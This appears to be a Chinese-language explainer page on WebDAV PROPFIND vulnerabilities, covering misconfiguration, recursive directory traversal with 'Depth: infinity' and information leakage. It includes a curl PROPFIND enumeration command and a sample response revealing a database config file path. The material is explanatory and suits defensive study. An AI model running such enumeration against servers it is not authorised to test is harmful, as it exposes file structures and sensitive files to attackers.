PROPFIND 漏洞是与 WebDAV(Web Distributed Authoring and Versioning) 协议相关的一种安全漏洞,主要涉及 HTTP 方法 PROPFIND 的不当实现或配置。
漏洞通常由以下原因引发:
PROPFIND
方法的访问权限。PROPFIND
请求访问本应受限的目录或文件(例如通过 Depth: infinity
参数递归遍历目录)。PROPFIND
响应返回敏感信息(如内部文件路径、系统配置等)。PROPFIND
请求,导致服务器资源耗尽。示例
curl -X PROPFIND http://example.com/webdav/ -H "Depth: infinity" -H "Content-Type: text/xml" --data '<D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>'
Depth: infinity
表示递归遍历所有子目录。<D:allprop/>
请求返回所有文件属性。如果服务器配置不当,可能返回类似以下信息:
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/webdav/</D:href>
<D:propstat>
<D:prop>
<D:displayname>webdav</D:displayname>
<D:getlastmodified>Fri, 01 Jan 2023 00:00:00 GMT</D:getlastmodified>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webdav/config/</D:href>
<D:propstat>
<D:prop>
<D:displayname>config</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webdav/config/database.ini</D:href>
<D:propstat>
<D:prop>
<D:displayname>database.ini</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
/webdav/config/database.ini
文件路径。攻击者可以直接下载该文件。扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有